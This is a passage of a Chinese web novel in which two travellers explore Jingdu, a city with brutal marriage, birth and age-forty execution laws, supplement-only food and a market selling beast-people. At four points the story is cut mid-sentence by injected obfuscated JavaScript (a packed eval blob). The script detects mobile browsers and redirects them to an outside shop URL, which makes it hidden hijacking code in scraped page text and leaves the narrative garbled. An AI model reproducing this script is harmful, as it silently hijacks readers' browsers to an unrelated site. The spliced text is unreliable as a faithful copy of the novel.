“嗯......我也只是在说我的推测而已啦,不过比起我去过的其他地方,这里实在有些过于安逸了,难不成这里遭受的末日是地震?” 正如萧俨所说,在面对如此整洁的城市时,池遥也在思考,这里究竟遭遇到了什么类型的末日。 只不过,她的思维仍旧被琥洋馆的景点世界所支配,满脑子都是丧尸,虫潮,病毒等等,完全没有想到天灾。 的确,据殷蘅所说,第一个遭受末日的世界遭遇了大洪水,也是天灾的一种,这个世界遭到的末日或许也与天灾有关。 “你去过很多地方吗?”想到这里,池遥看向身旁的人。 “不算多吧,都是走马观花。”萧俨摇摇头,“池遥呢?” “我也没去过几个世界。” “唔......那池遥知道新都吗?”萧俨问。 这是池遥从未听过的地点,她摇摇头。 “新都据说是所有小世界中位于最中心的世界。”萧俨向她介绍,“也是所有遭受末日的世界中,受影响最小的世界,等你找到朋友之后,可以一起去新都玩。新都也算是......算是我的……嗯……故乡?大概是故乡吧,对。” 说到此处,不知为何,萧俨的话语产生了短暂的混乱,似乎跟不上思考速度,有些语无伦次,但很快,他又笑起来。 “以后要是可以带池遥去新都玩就好了。” 池遥没有回答,只是点了点头。 遭受末日的小世界当中,受损程度最轻的世界? 这样看来,和曲卓团聚后,新都的确是值得一去的地方,至少可以看看新都是如何处理末日的。要是她早点知道这个情报就好了,之前就可以建议沈观离去新都参观学习了。 就这样,二人边走边聊,很快走进了一条狭窄的小巷,周围不见人影,池遥有些紧张地环顾四周,又瞄了一眼神色轻松自然的萧俨,不动声色地准备好了蕴藏在掌心的能力。 然而,没走一会儿,突然听到不远处传来一阵嘈杂声响,混杂在其中的是一个尖利的女声。 “你们要干什么?” “救命!” 池遥立刻伸手,攥紧了萧俨的衣袖。 她没有察觉到萧俨被她主动靠近时身体反射性地绷紧,只是拉着萧俨的袖子,加快了脚步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130213|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你要去救人吗?”萧俨的语气有些不解。 “去看看。”池遥拉着看不出态度的萧俨,沿着小巷,循着声音的来源,走到了巷口。 街口处,一片看上去荒废了很久的房屋前,围着一群身穿连体白色制服的人,这群人的着装虽然细看仍是连体衣的构造,但却做成了类似制服的样式,不仅如此,这些人腰间都佩戴着武器,看山去很像是士兵的装束,正与一位穿着连体衣的男人对峙。 后排的几个制服士兵则扣押着一个平民装束的年轻女性,女人身上还有几道血痕,明显是挣扎时受的伤,刚刚池遥听见的喊声就是来源于这位女人。 情况不明,池遥没有第一时间出手,身旁的萧俨似乎也没有出手的意愿,然而,意识到有外人出现,几个穿着制服的人立刻拔出武器,朝着池遥和萧俨冲来。 见到这一情景,即便不想出手也要出手了,池遥抬眼,没有从空间中拿出武器,直接赤手空拳迎了上去。 在上一个世界停留时,她跟随霍云初学习空手道也算是小小的出师了,战斗能力有了显著提升,现在正是验证自身实力的时候。 按捺下立刻使用能力抽取生命力的冲动,池遥侧身避开对方的武器,借着惯性肘击身侧士兵的后颈,腿上施力踹向对方的腿,放倒了一个对手。又主动出击,几下击倒了另一个人。 然而,当阻击她的两个敌人纷纷倒下,池遥余光瞥向萧俨,才发现,自己对付两个对手的时候,萧俨已经从容地击倒了剩下四个人,与池遥一样,没有动用能力,只用了最基础的身手,就制服了对面的人。 “哇!” 然而,当四个人纷纷倒下,青年看向池遥的方向时,却再次露出了平易近人的笑容,“好厉害,这么短的时间就制服了两个人吗,池遥,真有你的!” 池遥瞄了一眼他脚边的四个人,没有回答。 在制服这些人的过程中,池遥没有动用能力,并不是她有意隐藏,纯粹是想要试验一下自己的战斗能力。然而一旁的萧俨也没有使用能力,他的能力究竟是什么,与战斗有关吗? 而且,萧俨看起来毫无攻击性,长得又漂亮,对她的态度也十分热情,一直保持一种温和而顺从的姿态,让池遥产生了一种无害的错觉,此时却突然发现,对面这个人,即使不动用能力,她恐怕也不是对方的对手。 即便不知道萧俨的能力,也能看出,这人实力格外强大。 那么,这样的强者主动找上她,言语行为中都隐约透出一种讨好......或者说亲近的意味,又是因为什么? 她和萧俨,真的只是偶遇吗? “两位,真的太感谢你们了!” 几位身穿制服的人与池遥和萧俨交手期间,与制服人对峙的男人立刻扑到跪坐在地的女子面前,解开了女子手上的镣铐,一手揽着女人的腰,另一手攥着对方的手,把她扶起来。 见池遥和萧俨利落地解决了六个穿制服的人,男人才主动开口。 突然响起的声音打断了池遥的思绪,她看向对面的一对男女。 161. 白色乌托邦3 对面的一对男女姿态亲密,看上去像是一对恋人。 “抱歉,我们是刚来到鲸都的旅者,二位是惹上了什么麻烦了吗?” 不等池遥开口,萧俨上前几步,身形微微拦在她侧前方,既把她护在背后,又没有阻挡她的视野,主动开口向二人问话。 “啊......”听到萧俨的话,对面的两人露出了震惊的神色,女人先反应过来,开口道。 “我来告诉你们吧,不过不知道你们对鲸都了解多少,恐怕要讲很久了。” 说到这里,女人看向不久前被池遥和萧俨击倒在地的几人,萧俨立刻转身回去,给每个人结结实实地补了一脚。 “您请说吧,他们短时间内不会醒来了。” 池遥在萧俨转身走开的时候与对面的女人对上了视线,不知为什么,女人对她暧昧地眨了眨眼睛,又朝着萧俨的方向看了一眼。 鲸都是一个独特的城市,此地在几十年前改朝换代,由现今的皇室掌权,出现了各种匪夷所思的制度。 鲸都的人口不多,因此皇室十分重视鲸都的出生率,甚至到了变态的地步。鲸都的公民必须在二十岁前完成结婚手续,如果到二十岁仍不结婚,会被视为犯罪,关进皇家监狱。由于对繁衍的过度重视,有生育能力的鲸都女性地位略高于男性,生育的子嗣数量越多,地位越高。而鲸都的新生儿一出生,就会立刻送进保育院统一培养,正因如此,鲸都各处才看不到小孩子。 “但是,也存在难以生育,或者无法生育的夫妻。”说到这里,女人深深地叹了口气。 “鲸都法律规定,结婚满一年的夫妻,如果女方还没有怀孕,会被判定婚姻无效。” “啊......那刚刚那群人,是因为你们没有生孩子,强制拆散你们的吗?”听到这里,池遥问道。 “不,倒也不算是强制拆散吧。”这一次,是男人接了池遥的话,他垂着脑袋,神色凄惶不安,紧紧抓着女人的手,“这种情况,一般会被认为是丈夫无能,要求我妻子改嫁。” 池遥大受震撼。 “那你呢?”萧俨问。 “我当我妻子的陪嫁,和她一起改嫁过去。” 池遥二度震撼。 她抬起头,眼神发光地盯着面前的女人。 这听起来似乎不是个坏事啊,这位优秀无孩的女士可以拥有两位丈夫,何乐而不为呢? “不要觉得这是什么好事啊......”女人注意到了池遥的表情,苦笑一声,“如果改嫁一年后仍旧没有怀孕,我会被人口管制局判定为没有生育能力,判处死刑。” 池遥立刻蹙起眉头。 “这几位就是人口管制局的皇家兵卫,是来强制抓我改嫁的。”女人看向倒地的制服士兵,池遥注意到,他们的制服表面,都有一个巨鲸的徽记,想必那就是皇家的徽记了。 “人口管制局是什么?” “人口管制局是专门管控结婚和新生儿出生率的机构,是皇家直属部门。只要违反了婚姻和生育相关的法律,就会被人口管制局抓捕。你们今天帮我们打倒了这些兵卫,我们至少能再争取一周的时间,就算这周我没办法检测出怀孕,至少可以在这段时间主动物色改嫁对象。如果被抓进人口管制局,会被强制匹配不认识的陌生人。” 池遥咬紧了嘴唇。 “那么,到现在为止,鲸都的人口变多了吗?”她问。 “我们也不清楚,但就算人口数量增加,恐怕也不会增加多少吧?”男人摇摇头,“除皇室以外,普通的鲸都人四十岁以后,就会收到一个标示着死亡时间的信件。皇室认为四十岁之后,人类的生育功能逐渐衰退,就无法创造价值。因此,会通过前四十年对城市的贡献评判这些人的剩余生命,一旦到预定的死亡时间,就会执行死刑。” “正因为鲸都的所有中老年人都被以残忍的方式处置了,现今的鲸都才只剩下年轻人。” 池遥从未听过如此离谱的法规。 她与萧俨对视一眼,两人都对鲸都的律法感到震撼。 同时,池遥也立刻想通了自己独自走在街上时,路人频频看她的原因。 除了她的奇装异服显得格格不入以外,还因为她的长相,池遥如今十九岁,按理来说快要过二十岁生日了,但是不同世界的历法不同,她不擅长换算时间,渐渐的也就不去计算生日了。 然而,鲸都规定,未婚男女必须在二十岁之前结婚,路人频频看独自出现的她,恐怕也是在猜测她的婚姻状况,此后她和萧俨两人一起出现,就无人注意了。 “原来是这样。”萧俨笑着对二人道谢,“真的很感谢二位告诉我们这么多,如果二位方便的话,我们还有一些小小的问题。” “我们初来乍到,还不太清楚,鲸都内部流通的货币是什么呢?” 池遥在一旁点头。 的确,他们还不知道会在鲸都停留多久,手上没有货币可是不行的。 “鲸都的货币叫做鲸円,平时简称作円,你们如果没有的话,我们送你们一些吧,就当你们帮忙打倒皇家兵卫的谢礼。”女人立刻招呼男人取钱。 “不必了。”萧俨摇摇头,在池遥疑惑的目光里指了指晕倒在地的皇家兵卫们,“他们身上一定随身带了不少鲸円,我们直接去拿他们的就行。” 说着,他已经弯下腰,在一位兵卫身上翻找起来,没一会儿,就翻出一个钱包。 和池遥想象的不同,鲸円是一个个透明薄片,形状大小与硬币相似,但材质似乎是某种胶,质地偏硬有弹性,用力还能随着动作弯折。 薄片的硬度代表了不同面值,最厚的面值最大,面值一万元。萧俨将从六人身上搜集到的薄片堆积在一起,数了一下,居然收获了一大笔鲸円。 钱的事情轻松搞定,萧俨提出了下一个问题。 “我还想知道,这一路走来,我们观察了附近的商店,一直没看到餐厅和食物商店,鲸都的主要食物都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136454|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么呢?” “这个,鲸都的科技发展很快,研究出了各种便捷物品,说起来,我们现在的确已经不再进食了。”女人一边说着,看到男人拿着钱包走来,又交代了什么,男人再度走开。 “比如服装,鲸都早就研究出来了可以自由调节大小,自动适应体型,随气温变换防护程度和贴身面料的高科技连体衣,就很少有人还穿旧时代的衣服了。” “食物也是如此,自从研究出了可以替代食物的营养补充剂,我们平时叫做补剂,就不再有人会吃旧时代的食物了,现在市场上已经没有食物流通,也不再有餐厅和食品店了,取而代之的是各种补剂店。” 说到这里,男人再度现身,递给女人一个袋子,袋子里装着各种各样的试剂瓶子,里面的液体呈现出不同的色彩。 “我们就是开补剂商店的,我知道你们不愿意收下鲸円是为我们考虑,可你们真的帮了我们大忙,我们不能什么谢礼都不给,正好手头有不少补剂,这些补剂就当做我们的谢礼,请你们收下吧。” 萧俨没抬手,反而看向了池遥,池遥与他对视一眼,主动收下女人的袋子。 “真的很感谢,我们就收下了。” 最后,就只剩下了最重要的问题。 池遥从外套口袋中拿出早已准备好的寻人启事,递到女人面前。 “实不相瞒,我们还有几位同伴,和我们失散了,请问您见过照片上的这位女孩子吗?” 夫妻二人齐齐摇头。 “那请问,你们见过和他长得很像的人吗?他的双胞胎兄弟也和我们失散了。” 这个问题同样毫无收获。 “你们是要找人吗?”男人开口问道。 池遥和萧俨齐齐点头。 “像你们这样问恐怕很难得出结果,我看二位的身手很不错,说不定可以雇佣情报商帮忙?” “情报商?”池遥没想到,这个秩序严明的城市居然还有情报商的存在。 夫妻二人对视一眼,女人似乎不赞同丈夫的说法,但没有阻拦,男人继续说下去。 “是的,不瞒二位,鲸都这么大,总有皇室无法掌控的地区,或许可以去到鲸都的法外之地,那里可以找到情报商,说不定会有你们同伴的情报,就算没有,也可以花鲸円雇佣情报商帮忙打探消息,情报商们有独特的消息网,比二位现在到处找人效率高多了。” 接下来,男人为两人介绍了鲸都的法外之地。 所谓的法外之地在鲸都城郊,并不在皇室的管辖范围,环境远不如鲸都市区的洁净便利,不但环境恶劣,而且法外之地的地震也比市区内来得更加频繁,与市区内无人死亡,很少有人受伤的地震情况不同,法外之地每一次地震,都有不少人葬身于地震之中,不知下落。 但是,法外之地无人监管,与处处受限的市区比起来自由得多。如果池遥和萧俨的实力足够强,能够在强烈的地震中保护自己,可以去法外之地打探情况。 162. 白色乌托邦4 法外之地面积最大,最为繁华的场所当属法贡集市。 法贡集市是法外之地最大的交易市场,不止交易物品,人口,情报等等都可以作为交易的内容,而交易货币以鲸円为主,但若买卖双方同意,无论什么物品,都可以作为货币。 若是池遥和萧俨急着找人,法贡集市无疑是最好的目的地。 与热心的小夫妻分别不久,池遥和萧俨又经历了一次地震,第二次体会地震,池遥比上一次有经验多了,还能分神去注意萧俨和路人的情况,这次她发现了,街上的路人神色松弛,早就对地震习以为常。 看来,地震并非最近新出现的情况,应该延续有一段时间了。 可是,她能通过简单的时间差去判断这个世界面临的灾难吗? 而且,池遥突然想到,自己去过的前两个世界都是一年内刚刚遭遇末日的世界,让她形成了思维惯性,总认为灾难和末日是近期发生的事件。可据殷蘅描述,第一个迎来末日的小世界,遭受末日侵袭已经是百年前的事了。 总之,还是不能单纯用时间来作为评判末日的依据。 或许是她出神太久,耳垂突然被一根微凉的手指戳了一下,萧俨俯身,漂亮的面容主动进入池遥的视野,好奇地凑近了她。 “在想什么?” “不知道这个世界的末日到底是什么。”这样说着,池遥忍不住蹙起了眉头,但紧接着,就有同样温度不高的手指轻轻抚平她的眉,萧俨冲她笑了笑。 “唔......这种事情没什么可着急的吧?你不是今天才到的鲸都吗?” 池遥不太适应他的动作,微微向后仰了仰身体,等萧俨放下手后,点了点头。 “对呀,你是旅人,何必要纠结这些事,刚到鲸都,不如放松心情,做个真正的游客,到处逛逛?”萧俨的笑容十分松弛。 池遥过去旅行的过程中,最满足的事就是打卡各种当地小吃和高分美食,鲸都这地方虽说科技发达,可实在过于发达,连美食都被进化掉了,搞得她此时连来此旅游的心情都提不起来了。 只是,面对着萧俨满是笑意,似乎完全不知道发愁的脸,池遥又不忍心打破对方的情绪,只好点点头。 “那么,我们就从眼下的第一件小事做起。”萧俨指向街道边写着旅社的牌子,“天色已经不早啦,法贡集市在城郊,今天过去恐怕已经来不及了,我们找一间旅社入住好吗?” 此时,他们已经来到了一片热闹的居民区,到了黄昏时间,居民区来往的行人数量明显多了不少,街边的建筑略显陈旧,街边的设施也显得有些年头了,唯有街道边的花坛种植的观景乔木蓬勃而规整。放眼望去,此处似乎是一片鱼龙混杂,消费水平不高的平民区。 池遥这才发现,自己刚才一直在思考,没顾得上观察四周,而且鲸都的建筑十分整齐,秩序性很高,她刚到此处时觉得是从未见过的风格,还对此感到新奇,看了几个小时就觉得千篇一律,无聊了起来。 因此,她凝神思考时,一直无意识跟着萧俨的行进轨迹,她本以为萧俨和她一样,是抱着游客心态闲逛,但他似乎是在有意寻找合适的住宿地。 不久前,他们走过一条风格明显高端的街道时,似乎也看到了旅店的存在,但坐落在这种街道的旅店消费水平大概不是他们目前能够消费得起的,而且上个街区行人不多,他们两个外来者显得有些突兀。 此时萧俨相中的旅社是一个小规模的旅社,外部看起来略显陈旧,坐落于居民区的内部,周围都是用以居住的房屋,一层是各种市井小店,人流量大,无论做什么都不会被注意到。 二人一前一后,走进了旅社。 不知为何,在进入旅社大厅时,萧俨刻意落下一步,跟在池遥身后进了大厅。 旅社的大厅灯光略显昏暗,前台后没有人,店主从大厅后的房间内走出来,夸张地打了个哈欠。 “房型和价格都在前台桌上,谢绝讲价,包月五折。” 前台桌面上贴着简单的介绍,房型只有两种,单人间和双人间,价格都在一千元左右,双人间比单人间略高一些。 鲸円的面值跨度从一百到一万,白天逛街时,池遥也浅显地了解了一番鲸都的物价,这间旅社的价格比她想象中更加低廉。 “两个单人间。”她沉默片刻,一时没决定好租住时间。 她不知道自己会在鲸都停留多久,是否会达到一个月的时间,而且自己与萧俨的目的并不相同,之后很有可能面临分别。 但是,包月可是五折啊! 但凡是八九折,池遥都会鉴定说不,可谁让包月竟然打对折了呢? “两个单人间包月,多少钱?” 旅店老板将价格报给池遥,池遥扭头看了一眼跟在她身后的萧俨,萧俨仍旧是一副安静顺从,任由池遥决定的神色。 最终,二人要了旅社一层,门对门的两间房。 单人间面积不大,一扇只能左右拉动的小窗旁,是一套陈旧的木制桌椅,柜子因久无人居住而落了灰尘。 房间内最让池遥惊奇的,是床的设计。 长期遭遇地震的鲸都内使用的床并非简单的木制床铺,而是一个下沉式,全方面包裹的防震睡眠舱。 睡眠舱内可以调整温度与灯光,甚至可以检测空气浓度。从外部看去十分坚硬的材质,藏在睡眠舱内摸去则是微硬有弹性的材质,一旦睡眠时发生地震,也不会在睡眠舱里受伤。 订完房间,简单检查一番房间后,二人就离开了旅社。 一天下来,池遥身上仍旧穿着一身黑色外套,她急需买一套能融入鲸都本地人当中的装束。 沿着旅社向前走,是一家高级补剂店,店内还摆有固定桌椅,看起来与池遥印象中的咖啡厅无异。接着是一间规模很大的婚姻介绍所,介绍所对面是一个牌匾上写着“珍兽馆”三字的大型店铺,不知道具体是做什么的。 就这样,一路走一路看,这条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142660|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街上共有三家服装店,一间的牌匾上写着“旧时代古着店”,应该是专卖普通衣物的店,另两家店铺似乎是专卖鲸都居民身穿的连体衣的,池遥和萧俨进了其中一间。 店内的连体衣款式几乎全部相同,涵盖的功能不同,最顶级的连体衣包含了自动调整尺寸,控温,变换材质质感,变色,收纳,防护防震,自动更换配饰,健康状态检测等功能,池遥拿了一件中等的连体衣,走进试衣间,直接换上。 看上去松松垮垮的连体衣,在她拉上拉链的瞬间,自动调整成了完全贴合身体的尺寸,连体衣自带的设备提示此时处在“紧身”状态,除此之外还有贴身和宽松状态,贴身状态会凸显出肩颈,腰臀等部位的线条,但在小腹,大腿等部位形成多层褶皱,起到扬长避短的作用。池遥不需要这种无用的贴心设计,最终选择了宽松状态。 连体衣可以调整内部材质的质感,池遥调整到天鹅绒档位,只觉得与皮肤接触的衣料变成了柔软的短绒毛。亚麻材质也能真实地感觉到衣料蹭过皮肤时的磨砂感,最终还是选择了纯棉质感。 等她在试衣间把所有档位都试了一遍,与她同时开始换衣服的萧俨早就出了试衣间,已经笑眯眯地在店里等她了。 此时的萧俨已经换上了同样的连体衣,他身形偏瘦且薄,还处于少年到成年的过渡期,但衣物材质收紧后才发现,他浑身肌肉线条匀称有力,非常有美感。 即便换上了连体衣,但在离开服装店时,萧俨还是披上了自己的白色外袍,不过这次刻意敞开一点,露出一些内部连体衣的轮廓。 离开服装店,换上当地衣物的池遥和萧俨二人迅速融入来往的行人当中,这下彻底无人注意他们了,偶尔有行人投来目光,也是带着向往的神色偷看萧俨的脸,再用好奇的目光看看他身边的池遥。 不得不说,和萧俨走在一起,池遥显得很有面子,连自己的身份地位都会在路人心中自动补全。 夜幕降临,街边的扩音器顶部发出了昏暗的光,走在光线不足的街道上,两侧店铺内透出的光线就格外明亮。 走过一间店铺时,萧俨步子顿了顿,透过店铺玻璃观赏二人的侧影,池遥没注意到他的步伐停顿,走了几步才发现人没跟上来,回头用询问的目光看他,不知道萧俨又想要做什么。 而萧俨只是笑着摇了摇头。 “池遥。” 萧俨几步追上来,动作自然地抓住池遥的衣袖,幸好她所穿的衣物调整到了宽松档位,否则萧俨恐怕抓不到她的袖子。 他面上带着池遥再熟悉不过的笑意,略显兴奋地看着池遥的脸,目光在她身上停顿了好一会儿,直到池遥受不了地偏过脑袋,才开口,语气真挚又兴奋。 “你发现了没有,我们穿着同一套衣服诶!” “……不然呢?” 池遥不理解他开心的点,然而她显得有些不识时务的回答并没有打搅萧俨的兴致,他开开心心牵着池遥的袖子,二人并肩回到了旅社。 163. 白色乌托邦5 第二天一早,两人先去了租车处,租了一辆最基础的银色悬浮小车。 “车里搭载了鲸都地图和导航系统,只要在地图上选定目的地,规划路线,车子就能自动驾驶了。”租车行店主给二人讲解悬浮车的使用方法。 “自动驾驶?”池遥观察着街道上来来往往的小车,有不少坐在驾驶位上的人手都没放在方向盘上,的确能看出是自动驾驶。 “是的,千万不要切换到手动驾驶。如果不幸出事故,手动驾驶是要进监狱的。自动驾驶的话只会回收车子。”租车行店主再三强调,打开了车子内置的导航系统。 导航系统涵盖整个鲸都,但却不包括鲸都以外的区域,若是想要去到法外之地,恐怕还要切换到手动驾驶。 “如果真的出事故了,要怎么鉴定是自动驾驶还是手动驾驶呢?”萧俨问。 “你在车内进行的所有操作,车子行进的轨迹都是有记录的,无法篡改和销毁,一查就查出来了啊。”店主回答。 池遥这下明白了,即便租下这辆车子,也没办法开车去到法外之地,只能开到一个距离城市边界较近的地方,再步行前往法外之地。 “原来是这样。”萧俨点点头,忽然看向身边的池遥,“怎么样,我们租一辆吧?” 是他最常用的,恳求的语气。 见到这幅情景,店主的表情立刻变了。 池遥点点头,在店主钦佩的目光中掏出钱包,支付押金。 等她付完押金回到车前,萧俨已经等在车门前了,他为池遥打开门,朝她鞠了一躬,笑容满面。 “请上车吧。” 池遥尴尬地绷紧脚趾,在身后路人和店主的注视之下,局促地上了车。 不久后,悬浮车启动,萧俨设定了距离法外之地较近的一处目的地,小车慢悠悠地向前驶去。 到目的地的车程需要一个多小时,池遥坐在副驾驶座位上,从空间吊坠内拿出两小包补剂,递了一包给身边同样无所事事的萧俨。 补剂的味道与池遥曾经喝过的劣质香精饮料没什么区别,明明是液体,喝到腹中却有种神奇的饱腹感。 “不太好喝。”她给出中肯的评价。 车子继续向前行驶,池遥操作车子打开天窗,调低座椅靠背,仰头看着澄净的天空,深深吸了一口气。 奇怪,昨天刚到鲸落世界时,她还能感受到空气似乎不太新鲜,但到了第二天,却完全感受不到那种违和感了。 “萧俨,你刚到鲸都的时候,有感觉到哪里不一样吗?” 她看向身旁的人问道。 “嗯?你说哪方面?”身边的萧俨皱着眉头喝手里紫色的补剂,从他的神色猜测,补剂味道大概不是很好。 “空气。”池遥仔细辨别灌入口鼻的气体,“好奇怪,我刚到这里的时候,总觉得空气不是很新鲜,呼吸的时候有点难受,但现在似乎没有那种感觉了。” “可能是长久待在这种环境之下,身体适应了吧。”萧俨猜测,“我也一样,现在呼吸的时候感受不到任何问题。” 能力者身体对环境的适应性远超想象呢。 “说起来,这到底是什么口味啊?又苦又涩。”萧俨抬起手中的补剂袋子,看了一眼里面的紫色液体,深深叹了口气,“我从未喝过如此难喝的东西。” “但确实起到了饱腹的作用。真不敢想象,鲸都人居然一直是喝这么难喝的东西生存的。” 淘汰了普通食物,只剩下补剂的鲸都,无论多么安全,多么科技化,都已经被池遥在心中拉黑了。 “新都有一种很好喝的饮料。”萧俨忽然想起了什么,笑着对池遥提起了故乡的饮料,“叫做夜神花露,取自于一种叫做夜神花的花瓣上的露水。味道很奇妙,很甜美,以后你去到新都,我们可以一起去喝。” “听起来就很好喝!” 池遥也开始向他输出故乡的肥宅快乐水。 只是,未来,她恐怕再也喝不到可乐了吧。 更让她感到挫败的是,她发现自己根本无法描述碳酸饮料究竟是什么样的口感,即便萧俨在认真听她讲述,池遥的心情却无法控制地低落下去。作为异乡的旅人,萧俨虽然与她一样,不属于这个世界,可萧俨也不与她归属于同一个故乡。 曲卓到底去哪里了呀? 每当察觉到自己实际孤身一人,池遥都会格外渴望与曲卓相聚。 情绪还没有从乡愁中完全抽离,车子就到了目的地,二人下车,后续的路程要靠他们步行完成了。 一小时后,两人走出了鲸都的边界,来到了法外之地。 比起四处皆是银白色的鲸都,法外之地有着深红色的天空,脚下的土地也是红土,入眼的一切皆覆上了一层深红色的雾气,但却闻不到什么明显的异味,或许她的嗅觉真的适应了这个世界吧。 “披上这个。”萧俨从空间吊坠中取出一套与他身上一模一样的白色外袍,示意池遥披在身上。 他穿在身上尺寸刚好的白袍对池遥而言有些宽大,衣摆直接拖在了地面上,萧俨干脆在池遥面前单膝抵着地面半跪下来,伸手丈量她的衣摆。 “稍等,我改一下尺寸,很快的。” 池遥看不到他的脸,只听到他的声音有些闷,紧接着,这人从空间中掏出一个白色针线包,绕到了她背后。 池遥想转过身,但身后外套的衣摆却被萧俨牢牢拉住,控制着她无法动弹,只听到身后轻微的声响,很快,似乎只过了不到五分钟,身后就传来萧俨的声音。 “好了,你看。” 此时,原本拖地的衣摆已经被折叠起来,改到了脚踝处,脚踝上方的衣摆内侧有一排隐蔽又细密的针脚,池遥完全没想到萧俨五分钟之内就能帮她缝好衣服。 紧接着,身形高挑的青年站起身,抬手扣上她身后的兜帽,遮住了她的上半张脸,自己也同样戴上帽子,拉着她的衣袖,一同走进了前方的集市。 法贡集市的占地面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150760|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 积极大,几乎占据了整个法外之地,无论是商贩还是行走其中的客人,都多多少少做了一些伪装,穿外袍戴帽子的池遥二人很好地融入了这片氛围之中。 情报交易处在集市外围,两人很快就找到雇佣情报商的地点。 为了保护身份,被雇佣的情报商并不会直接出现在雇主面前,而是由交易处的中间人将雇主的委托订单和要求发放到鲸都的情报商中间,情报商会自行接单工作。以防恶性竞争,同一个订单最多有两位情报商同时跟进,事成之后的报酬三七分。 如果十四天之内,情报商没有完成订单要求,雇主有权换掉现有的情报商,重新搜寻新的情报商,或者撤回订单。 池遥将自己的寻人启事交给中间人,进入情报交易处等待。 情报交易处内部有一面巨大的公告墙,墙上贴满各种各样的寻人启事,寻物启事,寻宠启事,应有尽有。 “鲸都的寻人启事这么多吗?”池遥看着密密麻麻的寻人启事,感慨了一句。 “是啊,鲸都的法规太繁杂,有人消失是常有的事。”中间人在旁边解答,“不知触犯了什么法律,被抓进监狱的;死于车祸,地震等意外的;过了四十岁被处刑的;还有明明什么也没做,偏偏就从鲸都消失的。” “什么都没做,也会消失吗?” “这种事就要问情报商啦,我们这种普通人反正是不知道原因了。”中间人三缄其口。 绕着情报交易处走了一圈,很快,就传来消息,有一位经验丰富的情报商接收了他们的委托,情报商的代号为“鲸都灰栗鼠”。 “如果后续你们需要见面的话,约好地点之后,主动说出对方的代号,情报商才会以真容现身。”中间人递给池遥一沓写着“鲸都灰栗鼠”五个字的信封,“如果需要联系情报商的话,把信件放在这封信封里,按照信封背面的地址寄出即可。” 池遥翻过信封,果然,信封的地址已经填写好了。 对于那位名为鲸都灰栗鼠的情报商,池遥并未抱有太多期待,萧俨似乎也不抱有希望,接下来,两人走出情报处,去集市的其他区域转了一圈。 法贡集市面积最大的区域是宠物区,池遥以为是像现代的花鸟鱼市场一样轻松治愈的宠物市场,好奇地走进去,又被集市里跪成一排,头上长着兽耳的少男少女吓得后退了几步。 鲸都没有小动物的存在,所谓“宠物”指的就是这些脑袋上长着兽耳的变形人,鲸都称之为“兽人”,这些兽人属于不同动物品种,其中犬类和猫科兽人作为宠物的占比最高,对于鲸都有身份地位的人来说,豢养宠物是身份的象征。 而池遥在城区内看到的诸如“珍兽馆”“珍奇馆”“异宠店”,也都是展示兽人,贩卖兽人的店铺。 兽人在鲸都没有人权,但有宠物权。而兽人们的智商和认知水平也远低于普通人类,正适合作为宠物抚养。 池遥和萧俨在宠物区入口处看了一会儿,就离开了这个地方。 164. 白色乌托邦6 花出了一大笔钱,二人从法贡集市返回车上,踏着夕阳,返回到了租车行,将车子返还回去。 寻人委托已经发出,池遥甚至在委托里顺口提到了苏榕,接下来的一段时间,只需要在旅社里等待情报商的消息就好了。 一时间,池遥有一种不真实感,几天前,她还在景点内反复死去,挣扎,目睹同伴的死亡。 而此时,她突然闲了下来,置身于全新的世界里,却不知道该做些什么。 然而,她的另一位伙伴萧俨,却没有给她清闲下来的机会,第二天中午,池遥的房门就被敲响了。 “池遥小姐,我们可以一起去隔壁的高级补剂店里坐坐吗?” 拗不过萧俨的邀请,池遥被萧俨拉着衣袖,带到了旅社附近的高级补剂店里。 与他们昨天喝的袋装难喝补剂不同,高级补剂店内的补剂味道种类更多,而且被精心放在小壶里,放上各种装饰品作为点缀,店内有一面挂着各种杯子的墙壁,可以随意选择喜欢的种类,若找不到喜欢的款式还支持DIY杯子。 池遥和萧俨在店里选了喜欢的杯子,坐在窗边无人的沙发座里,给自己倒了一杯名为“每日惊喜”的补剂。 